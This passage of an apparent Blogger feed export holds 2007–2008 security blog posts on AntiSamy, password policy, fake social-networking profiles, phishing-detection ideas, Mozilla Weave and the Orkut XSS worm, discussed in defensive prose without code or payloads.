Stuppe</name><uri>http://www.blogger.com/profile/08678576815667492639</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-4961979478583803654</id><published>2008-04-26T00:27:00.000Z</published><updated>2008-04-26T00:28:47.765Z</updated><title type='text'>Simpson's paradox</title><content type='html'>Evidently, it has other names, but Simpson's paradox is a statistical phenomenon such that the combination of success rates is the reverse of the individual success rates.  For example, in each of 1995, 1996, and 1997, David Justice had a better batting average than Derek Jeter.  But the combined batting average of Derek Jeter was better than that of David Justice.&lt;br /&gt;&lt;br /&gt;It happens when one part of the sample is out of proportion to the remainder of the sample.  For example, if the two had similar batting averages over the three year period, except one year, David Justice had three at bats and reached twice.  His batting average for the year would be .667, but it basically gets "lost in the wash".&lt;br /&gt;&lt;br /&gt;Now I truly understand why they say that you can make statistics say anything you want.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-4961979478583803654?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://en.wikipedia.org/wiki/Simpson&apos;s_paradox' title='Simpson&apos;s paradox'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/4961979478583803654/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/04/simpsons-paradox.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/4961979478583803654'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/4961979478583803654'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/04/simpsons-paradox.html' title='Simpson&apos;s paradox'/><author><name>Sylvan von Stuppe</name><uri>http://www.blogger.com/profile/08678576815667492639</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-8288091439217166227</id><published>2008-04-13T00:24:00.002Z</published><updated>2008-04-13T00:35:47.950Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='SANS'/><title type='text'>SANS Summit</title><content type='html'>This week I'll be in Orlando at a SANS summit warmup before the &lt;a href="http://sans.org/sans2008/?portal=dbebd98e0d80a2df024e989a5d06e245"&gt;training courses&lt;/a&gt;, which are next week.&lt;br /&gt;&lt;br /&gt;I'm very excited about this one because we'll get to spend a lot of time talking, among other things, about how to roll defensive engineering and programming into the educational process for technology students.&lt;br /&gt;&lt;br /&gt;Security is so easily exploited now because we never learned to program defensively (or never enforced it).  So now, we're trying to go back and patch the dam.  This is a great opportunity to discuss how we start to make brand new dams that don't need patching.  And while I don't know if I would agree with IBM that the &lt;a href="http://www.darkreading.com/document.asp?doc_id=150830"&gt;Security Business is out of business&lt;/a&gt;, I do agree that we need to make systems that are impervious to attack from the beginning.&lt;br /&gt;&lt;br /&gt;Maybe I'll get Micky's autograph while I'm there...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-8288091439217166227?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/8288091439217166227/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/04/sans-summit.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/8288091439217166227'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/8288091439217166227'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/04/sans-summit.html' title='SANS Summit'/><author><name>Sylvan von Stuppe</name><uri>http://www.blogger.com/profile/08678576815667492639</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-7203465805407425229</id><published>2008-03-21T21:18:00.002Z</published><updated>2008-03-21T21:39:05.744Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='giac sans gssp'/><title type='text'>Not a Failure</title><content type='html'>I can't go into a whole lot of detail about the exam, but my results for the SANS GSSP-Java came in and I passed.  The exam is still quite young, but some great minds are working on it - &lt;a href="http://www.ouncelabs.com/company/team.asp"&gt;Ryan Berg&lt;/a&gt; and &lt;a href="http://www.greebo.net/"&gt;Andrew van der Stock&lt;/a&gt;, as well as having the backing of SANS.&lt;br /&gt;&lt;br /&gt;My hope for the GSSP exams in the future is that they are actually affordable enough that a person without employment can actually get it.  I know that accumulating, writing, and editing questions costs a lot of money, as well as securing an exam location, transmitting exams, scoring exams, communicating back to the people taking the exam, and managing the website.  But for a corporation to pay for their people to take the exam in the first place does little for the corporation unless they're investing in the training of the employees as well.  But it could serve as an excellent baseline for entry into a lot of shops, but for it to be effective as such, it needs to not cost a year's salary to study for and take the exam.  I'm not certain at this point what SANS hopes to be the perfect place for the exam.&lt;br /&gt;&lt;br /&gt;Take a look at SANS and see if you can &lt;a href="http://www.sans-ssi.org/upcoming.php"&gt;schedule an exam date&lt;/a&gt;.  The exam still needs some work, but testers can only help at this point because you have a chance to give input.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-7203465805407425229?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.giac.org/certifications/software/gssp-java.php' title='Not a Failure'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/7203465805407425229/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/03/not-failure.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/7203465805407425229'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/7203465805407425229'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/03/not-failure.html' title='Not a Failure'/><author><name>Sylvan von Stuppe</name><uri>http://www.blogger.com/profile/08678576815667492639</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-5309679255235490140</id><published>2008-03-17T23:59:00.004Z</published><updated>2008-03-18T00:13:24.946Z</updated><title type='text'>AntiSamy</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://ecx.images-amazon.com/images/I/21frV-RV-7L._AA115_.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 200px;" src="http://ecx.images-amazon.com/images/I/21frV-RV-7L._AA115_.jpg" border="0" alt="" /&gt;&lt;/a&gt;To be added to my list of ways to effectively allow HTML without allowing javascript, enter &lt;a href="http://owasp.org"&gt;OWASP&lt;/a&gt;'s &lt;a href="http://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project"&gt;AntiSamy library&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;AntiSamy uses home-grown methods of being very specific about what is and is not allowed to come into the application.  And what's very nice about it is that it already includes configuration for several profiles - online sites that allow HTML.  These profiles somewhat match the profiles of those websites.  For example, the slashdot profile is pretty restrictive, while the MySpace profile allows quite a bit more.&lt;br /&gt;&lt;br /&gt;To be honest, I don't know how much better AntiSamy is than using a DTD, Schema, or RelaxNG to validate the HTML, *except* that there are additional rules that have to be validated with logical tests.&lt;br /&gt;&lt;br /&gt;One thing that occurred to me while working on a mock-up of using XML validation to perform this validation is that &amp;lt;img tags (or anything with a remote URL) requires special consideration to deal with the possibility of XSRF against other sites.  For example, if an attacker finds an XSRF vulnerability against some site, it's in their interest to get that URL injected in as many places as possible.  One way to do this is with &amp;lt;img tags in sites that allow them to come from remote sites, or url() constructs in style attributes where a url is permissible.  In order to deal with these, the best way I came up with is to have the server fetch the resource when the tag is entered, then when the page is rendered, to reference the URL locally.  (This also gives the user the benefit of having a static version of an image, even when it expires off the original site).&lt;br /&gt;&lt;br /&gt;Anyhow, cheers again to OWASP.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-5309679255235490140?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project' title='AntiSamy'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/5309679255235490140/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/03/antisamy.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/5309679255235490140'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/5309679255235490140'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/03/antisamy.html' title='AntiSamy'/><author><name>Sylvan von Stuppe</name><uri>http://www.blogger.com/profile/08678576815667492639</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-5491675630435123916</id><published>2008-02-11T00:00:00.000Z</published><updated>2008-02-11T00:28:16.544Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='passwords'/><category scheme='http://www.blogger.com/atom/ns#' term='users'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Password:  Impossible</title><content type='html'>&lt;a href="http://blogs.securiteam.com/index.php/archives/author/aviram/"&gt;Aviram&lt;/a&gt; had a post on how he thinks password complexity rules are a bad thing.  To a degree, I agree with the post - the more complex you make password requirements, the more likely your users are to try to find some way to subvert that requirement (like Aviram did - change your password a bunch of times so that you can go back to the original).&lt;br /&gt;&lt;br /&gt;Unfortunately, however, passwords are a core part of application security.  Until two-factor systems become convenient for the user and cost-effective for the provider, password complexity rules are a fact of life.  Right now, if a user wants to use two factor authentication, they're left carrying (or hooking up a webcam to) several RSA tokens, carrying a card in their wallet, and ensuring their cellphone is always on.  Now, I like the idea of using SMS as a two factor verification as the odds of me losing my phone and my wallet (which has all my passwords) at the same time is pretty slim.&lt;br /&gt;&lt;br /&gt;So, how I really feel about password requirements is that I do like them.  For the time being, if all sites used really low-threshold password requirements, it allows users to reuse passwords.  So what if an attacker can't brute force their way into your bank account?  Do you use that password on some other system?  If that site doesn't enforce a lockout or a change policy, then how likely is it that the attacker is going to be able to find out that you use that other system?  Do you use the same identity on multiple systems?&lt;br /&gt;&lt;br /&gt;So what is a user to do?  For the typical user, I honestly don't know.  I use a password safe with about a hundred entries in it.  That password safe is on an SD/USB device I keep in my wallet.  It's encrypted using AES, and a really long passphrase.  I'm down to a very small number of passwords that I actually remember and know anymore.  But it's a major inconvenience for anybody who's using passwords all day every day on different systems.  To really protect your passwords, your safe needs to have a long passphrase and a short lock timeout.  And that doesn't mean that attackers can't get the passwords from the clipboard or submitted forms.  For an ordinary user, the first response is probably "why bother?"&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Apple_Keychain"&gt;Keychain&lt;/a&gt; is getting close to the level of system integration that makes it easy for users to use.  However, not everything on Mac uses Keychain.  &lt;a href="http://1passwd.com/"&gt;1Password&lt;/a&gt; adds quite a bit of functionality to extend the ease of use.  But that's still mac only.  On Windows, there's &lt;a href="http://keepass.info/"&gt;KeePass&lt;/a&gt;, which has some nice system integration and some additional features (like TAN's) that make it really nice.  And since it's open source, there are alternatives for &lt;a href="http://www.keepassx.org/"&gt;Mac&lt;/a&gt;, &lt;a href="http://www.keepassx.org/"&gt;Linux&lt;/a&gt;, and &lt;a href="http://keepasssd.sourceforge.net/"&gt;mobile&lt;/a&gt; &lt;a href="http://keepassserver.info/"&gt;devices&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;But I still don't think that gets the reach to all users the way it needs.  Remembering to back up my password safe is a pain - I need to back it up at a few locations in the event that I lose my device, and I won't put it on the web where it becomes available for anybody else to download and bang on forever until they unlock it.  I would have to protect the download with a really strong password, but then where am I going to keep &lt;span style="font-weight: bold;"&gt;that&lt;/span&gt; password?&lt;br /&gt;&lt;br /&gt;And regarding the 90 day change policy - that &lt;span style="font-weight: bold;"&gt;is&lt;/span&gt; a good thing.  Once an account is compromised, it could be months before it's actually used because, particularly with financial accounts (credit cards, online bank accounts, etc.), they tend to be sold in lots on the open market.  The person who compromised the account is highly unlikely to be the one to ultimately gain from the account compromise - it's just an asset to be sold to the highest bidder.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-5491675630435123916?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://blogs.securiteam.com/index.php/archives/1068' title='Password:  Impossible'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/5491675630435123916/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/02/password-impossible.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/5491675630435123916'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/5491675630435123916'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/02/password-impossible.html' title='Password:  Impossible'/><author><name>Sylvan von Stuppe</name><uri>http://www.blogger.com/profile/08678576815667492639</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-6029172797033888376</id><published>2008-01-30T00:32:00.000Z</published><updated>2008-01-30T00:57:33.526Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='web 2.0'/><category scheme='http://www.blogger.com/atom/ns#' term='users'/><title type='text'>Social Networking Threat: XPFA</title><content type='html'>Okay - I didn't find a new kind of vulnerability or identify some brand new threat.  We've seen lots and lots of cases like these:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;A teacher fired for material they had on their MySpace page&lt;/li&gt;&lt;li&gt;People not getting a job because of information they put on their Facebook profile&lt;/li&gt;&lt;li&gt;People complaining that somebody close to them got their password and changed information on their social networking profile&lt;/li&gt;&lt;/ul&gt;What surprises me is that actually exploiting the &lt;span style="font-weight: bold;"&gt;non-existence&lt;/span&gt; of a profile isn't more prevalent.  The idea that employers are looking at employees' or candidates' social networking profiles is no surprise.  And if many people know that it's common, why don't we see more hijacking of a non-existent identity?  If a person doesn't have a Facebook profile, but they have enemies, why aren't enemies falsifying profiles?&lt;br /&gt;&lt;br /&gt;This has two benefits for attackers.  The first is the revenge or get-even factor.  If I can falsify somebody's private life and prevent them from getting a job, promotion, or even a date, is that of value to me?  Depending on the job, promotion, or date at stake, the profile stalker could gain financially - think of all the domain squatting that took place in the early to mid 90's.  Will we see a similar trend in individuals to protect their "personal brand"?  Will we see indie rock bands have to change their band name when a disgruntled ticket buyer makes a fake version of their site on the social networking site du-jour?&lt;br /&gt;&lt;br /&gt;The consequences of this to the victimized person are clear.  Their name has been slandered by somebody who knew enough information about the victim to make a convincing (yet false) page.  They will have to take time to build a new, true identity.  They will have to take the time to explain to potential employers that there's a fake out there.&lt;br /&gt;&lt;br /&gt;But companies are at risk as well.  Companies who use this practice could potentially miss the best candidates, or be relying on false information.  They could get rid of the best employees by relying on information they don't know to be real.  This is the same story as small town teachers getting fired because parents found liquor bottles in the teacher's trash bin on Tuesday night (whether it was put there by the teacher or not).  And I don't think we know for sure there won't be litigation in early termination or whatnot because of falsified social networking information.  (Most states are "right to work" states, meaning you can be fired for no reason, so the potential for this is low).&lt;br /&gt;&lt;br /&gt;All that being said, a couple of colleagues and I came up with a new name for the vulnerability:  Cross-Personality Framing Attacks or XPFA.  We'll find out if the name gets any traction.&lt;br /&gt;&lt;br /&gt;So how do ordinary users protect themselves?  For those who &lt;span style="font-weight: bold;"&gt;do&lt;/span&gt; use social networking sites, I recommend using a different password for that site than any other, and change it frequently.  Of course, I recommend this anyway.  And limit the visibility of the information on the site.  And don't put anything on there you wouldn't want your mom to see.&lt;br /&gt;&lt;br /&gt;For those who don't use social networking sites (or the most popular ones), I'm not sure how much protection there really is other than claim your spot early.  The problem is that you'd have to keep your profile public and up-to-date with completely benign information in order to get it linked high in search engines.  Which is sad - the way to protect yourself from a fake social networking profile is to use social networking?&lt;br /&gt;&lt;br /&gt;Perhaps the best solution for users is not to make enemies.  And the best solutions for companies is to make sure they know the site is for real before trusting it.&lt;br /&gt;&lt;br /&gt;Incidentally, I neither condone nor condemn employers using this practice.  I don't necessarily like it, but in general, it &lt;span style="font-weight: bold;"&gt;is&lt;/span&gt; information that people want for the public to be aware of.  If I were hiring somebody who had written a book, I would probably at least skim the book before hiring them.  Is this that much different?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-6029172797033888376?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.google.com/search?hl=en&amp;rlz=&amp;q=teacher+fired+myspace' title='Social Networking Threat: XPFA'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/6029172797033888376/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/01/social-networking-threat-xpfa.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6029172797033888376'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6029172797033888376'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/01/social-networking-threat-xpfa.html' title='Social Networking Threat: XPFA'/><author><name>Sylvan von Stuppe</name><uri>http://www.blogger.com/profile/08678576815667492639</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-7759609323581859605</id><published>2008-01-09T20:10:00.001Z</published><updated>2008-01-09T20:25:01.281Z</updated><title type='text'>Using Web 2.0 to Identify Phishing</title><content type='html'>&lt;a href="http://blogs.securiteam.com/index.php/archives/author/noam/"&gt;noam&lt;/a&gt; at &lt;a href="http://www.securiteam.com/"&gt;SecuriTeam&lt;/a&gt; has started an experiment with searching for a sender of an email to possibly identify spam.  I had had a couple of ideas with regards to phishing (not spam in general) to help combat it, but haven't spent a lot of cycles on it.&lt;br /&gt;&lt;br /&gt;Currently, most phishing site detection is dependent on a RBL to identify a phishing site.  But botnets are beginning to be the front door into those phishing networks, so you could actually have hundreds of thousands of users follow a phishing link before the same web server is used twice.  Also, because of the famous security question with the same responses as expired/mismatched certificates, the user's natural response (&amp;quot;Click Yes if you want to do this dumb thing&amp;quot;) is actually the wrong one.&lt;br /&gt;&lt;br /&gt;I had come up with a couple of anti-phishing techniques, but it would require buy-in from frequently-phished companies who wanted to cut back on their own fraud.&lt;br /&gt;&lt;br /&gt;The first idea centered around using heuristics to determine if a site is trying to look like the victim site.  If XYZ.com is the real site we're trying to lure users from, XYZ.com knows what their look and feel is - the colors they use, the fonts, spacing, key phrases they use, logos, etc.  Browsers actually have enough information when rendering a site to do a lot of these heuristics.  Now, when a user visits a site, and the color scheme closely matches, and there's an XYZ.com logo, and some words similar to XYZ.com, and a login form, but the host is not in XYZ.com's address space, the user is warned.  Only now, since we know that the phisher was trying to lure XYZ.com customers and not ABC.com customers, we can give the user three choices:  1) Click YES if you want to go to XYZ.com (the real correct answer), 2) Click NO to do nothing, or 3) Click this "I understand this is silly and I wish to go to ECKSYZ.com" box and click You've Been Warned to go to the phishing site.  It's not perfect, attackers would change just enough to go below the threshold, but depending on how much they wanted to reduce fraud, XYZ.com can change either their heuristics or the threshold score.  Or the user could change the confidence level.&lt;br /&gt;&lt;br /&gt;Another idea I bounced around with a colleague centered around using the user community to make a determination about the legitimacy of a site.  If you visit a site that has a login form, the browser does a check against del.icio.us or Alexa or even Google to determine if the target site has been bookmarked before, or is highly-ranked, or if it's been searched yet.  The warnings on these, unfortunately, would tend to be a little less clear.  "Nobody has ever bookmarked this site, are you silly enough to be the first?" or "Hmm...this site isn't very popular - sure you want to do this?"  And of course, attackers can create lots of fake social bookmarking accounts and bookmark their own phishing site.&lt;br /&gt;&lt;br /&gt;So for you plugin developers with gobs of time, go write those so we can see how ineffective they really are.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-7759609323581859605?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://blogs.securiteam.com/index.php/archives/1059' title='Using Web 2.0 to Identify Phishing'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/7759609323581859605/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/01/using-web-20-to-identify-phishing.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/7759609323581859605'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/7759609323581859605'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/01/using-web-20-to-identify-phishing.html' title='Using Web 2.0 to Identify Phishing'/><author><name>Sylvan von Stuppe</name><uri>http://www.blogger.com/profile/08678576815667492639</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-3255984677947265150</id><published>2007-12-27T00:55:00.000Z</published><updated>2007-12-27T00:58:58.462Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='mozilla'/><title type='text'>Mozilla Prism</title><content type='html'>Mozilla Prism is another Experiment in the Mozilla labs right now.  The idea is to make desktop launchers for web-based applications where you launch a prism application, and you're in a browser totally dedicated to that application, which will provide a little better interactivity with the desktop, making web applications feel more like desktop applications.&lt;br /&gt;&lt;br /&gt;As a security tester, I love the idea.  But the one benefit I would hope to get from it (each webapp being sandboxed, so you can have multiple logins to the same application) is still on the to-do list.&lt;br /&gt;&lt;br /&gt;That being said, didn't Java Web Start die already?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-3255984677947265150?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://labs.mozilla.com/2007/10/prism/' title='Mozilla Prism'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/3255984677947265150/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/12/mozilla-prism.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/3255984677947265150'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/3255984677947265150'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/12/mozilla-prism.html' title='Mozilla Prism'/><author><name>Sylvan von Stuppe</name><uri>http://www.blogger.com/profile/08678576815667492639</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-2726873865782409113</id><published>2007-12-27T00:35:00.000Z</published><updated>2007-12-27T00:44:39.284Z</updated><title type='text'>Mozilla Weave</title><content type='html'>I certainly don't want to be a party pooper before the party even starts, and the Mozilla Security crew certainly know what to do, but even the concept behind &lt;a href="http://labs.mozilla.com/2007/12/introducing-weave/"&gt;Mozilla Weave&lt;/a&gt; scares me.  And I suppose I'm just paranoid about the possibility of saving my personal preferences in a "cloud" anywhere.&lt;br /&gt;&lt;br /&gt;Right now they're just designing Weave.  But there are two areas of risk that need to be secured early, before they get really far into developing this:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;The security of the online storage itself needs to be addressed.  The results of everybody's information in one place (even discounting passwords) is very serious.  The idea of a place on the internet that knows who I bank with, my social networking sites of choice, my bookmark sites of choice, my search engine of choice, the wikis I participate in, the feeds I subscribe to, and my favorite sports team really frighten me.  Imagine if all this information were compromised.&lt;/li&gt;&lt;li&gt;The security of the API to get the information needs to be addressed.  How long is the data "unlocked" (like your Keychain or Keepass safe - they lock at intervals, even while you're logged in).  If I get up and walk away from my browser, how much information is available?  And is this necessarily any different than walking away from an unlocked workstation when the data is stored locally?  Probably - because when it's distributed, while it's not all up-to-date, there are multiple points of failure.  But when it's in a cloud and centralized, can all my information quickly be altered?&lt;/li&gt;&lt;/ol&gt;I hope all my fears are wrong.  I can see this being useful, based on some of the &lt;a href="https://labs.mozilla.com/forum/index.php/topic,392.0.html"&gt;initial use cases&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-2726873865782409113?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://labs.mozilla.com/2007/12/introducing-weave/' title='Mozilla Weave'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/2726873865782409113/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/12/mozilla-weave.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/2726873865782409113'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/2726873865782409113'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/12/mozilla-weave.html' title='Mozilla Weave'/><author><name>Sylvan von Stuppe</name><uri>http://www.blogger.com/profile/08678576815667492639</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-1120216895788750786</id><published>2007-12-19T20:19:00.001Z</published><updated>2007-12-19T20:24:23.088Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><title type='text'>Orkut Worm</title><content type='html'>Of course, everybody who reads this will have heard about the Orkut Worm by now, but it does bring up the same usual information.&lt;br /&gt;&lt;br /&gt;I'm not at all against Web 2.0.  I'm not a gloom and doom type.  Many of the ideas behind Web 2.0 are very useful and make the web something that it wasn't before.  However, it seems that Google is now facing (although on a smaller scale) the same sorts of pain that MySpace had for years.&lt;br /&gt;&lt;br /&gt;My personal opinion is that Google should have waited until they could revamp the content management of Orkut to be the same as Blogger before rolling it out.  Require XML/XHTML valid syntax coming in, that can be validated against a DTD.  Of course, I don't use Orkut, so I'm not positive that the initial worm didn't fit these requirements, there just wasn't sufficient attribute checking (unfortunately, the available news on the worm is really thin right now).  But it appears as though this was a simple &amp;lt;script&amp;gt; tag with an external source.  /sigh&lt;br /&gt;&lt;br /&gt;For developers, let MySpace and Google be an example to you - you'd better be &lt;span style="font-weight: bold;"&gt;really&lt;/span&gt; certain you know what you're doing before you let users dictate look and feel.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-1120216895788750786?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://antrix.net/journal/techtalk/orkut_xss.html' title='Orkut Worm'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/1120216895788750786/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/12/orkut-worm.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/1120216895788750786'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/1120216895788750786'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/12/orkut-worm.html' title='Orkut Worm'/><author><name>Sylvan von Stuppe</name><uri>http://www.blogger.com/profile/08678576815667492639</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-3908107532292930816</id><published>2007-11-18T23:49:00.000Z</published><updated>2007-11-19T00:03:43.128Z</updated><category 